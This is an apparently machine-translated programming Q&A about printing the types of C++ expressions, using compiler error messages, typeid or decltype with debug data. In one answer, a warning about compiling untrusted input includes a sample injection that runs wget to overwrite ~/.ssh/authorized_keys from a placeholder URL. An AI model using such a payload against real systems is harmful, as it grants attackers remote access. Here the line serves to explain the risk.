Printing C ++ Custom Expression Types

I am interested in writing a training tool that evaluates C ++ expressions and prints their types. In fact, my thinking is that my students can enter any expression, and the program will drive away the type of expression. Is there an existing tool that already does this? If not, is there an easy way to do this by integrating with an existing compiler and calling its debugger or API? I was told, for example, that Clang has a fairly complete compiler API, maybe there is a way to just pass the string to Clang along with the appropriate include directives and make it spit out the type?

I understand that this is a potentially huge project if there is nothing close to today. I just thought that he would have significant educational value, so it seemed worth checking out.

+6
source share
2 answers

I came up with an answer inspired by Ben Voigt's comments. Just make a mistake and let the compiler tell you the type that called it:

template <typename T> void foo(T); // No definition int main() { foo(1 + 3.0); } 

Result:

 In function `main': prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)' 

Also, since you are doing nothing but the compiler, you are pretty safe. In fact, sandboxes are not needed. If you get something other than an undefined reference to void foo<T>(T) ", that was not an expression.

[edit] How would you put this in a tool? Simple with a macro

 // TestHarness.cpp // Slight variation to make it a compile error template <typename T> void foo(T) { typename T::bar t = T::bar ; } int main() { foo(EXPR); } 

Now compile with $(CC) /D=(EXPR) TestHarness.cpp . Saves you from re-creating the input file every time.

+8
source

Improved by MSalter Improvement :

 class X { template <typename T> static void foo(T) {} }; int main() { X::foo( $user_code ); } 

Result (with $user_code = "1 + 3.0" ):

 prog.cpp: In function 'int main()': prog.cpp:2: error: 'static void X::foo(T) [with T = double]' is private prog.cpp:6: error: within this context 

This avoids the link stage.


Original answer:

C ++ has the typeid keyword. In theory, you just need to insert a custom expression into some template, for example:

 extern "C" int puts(const char *s); #include <typeinfo> int main(void) { const type_info& the_type = typeid( $user_code ); puts(the_type.name()); } 

And then pass this source file to the compiler and run it to get an answer.

It is almost difficult to avoid malicious code. You will need to use a sandbox of a certain type. Or, be really very careful to make sure there are no mismatching parentheses (you know what trigraphs are, right?).

yes I know that the typeid argument typeid not evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" 1); system("wget -O ~/.ssh/authorized_keys some_url" !

A better option would be to avoid starting the program. With framework (requires C ++ 11), for example:

 extern "C" decltype( $user_code )* the_value = 0; 

You can run the compiler with the ability to generate debug data, and then use, for example, the dwarf2 reader library and get the character type information associated with the_value , then delete one pointer level.

+2
source

Source: https://habr.com/ru/post/898305/


All Articles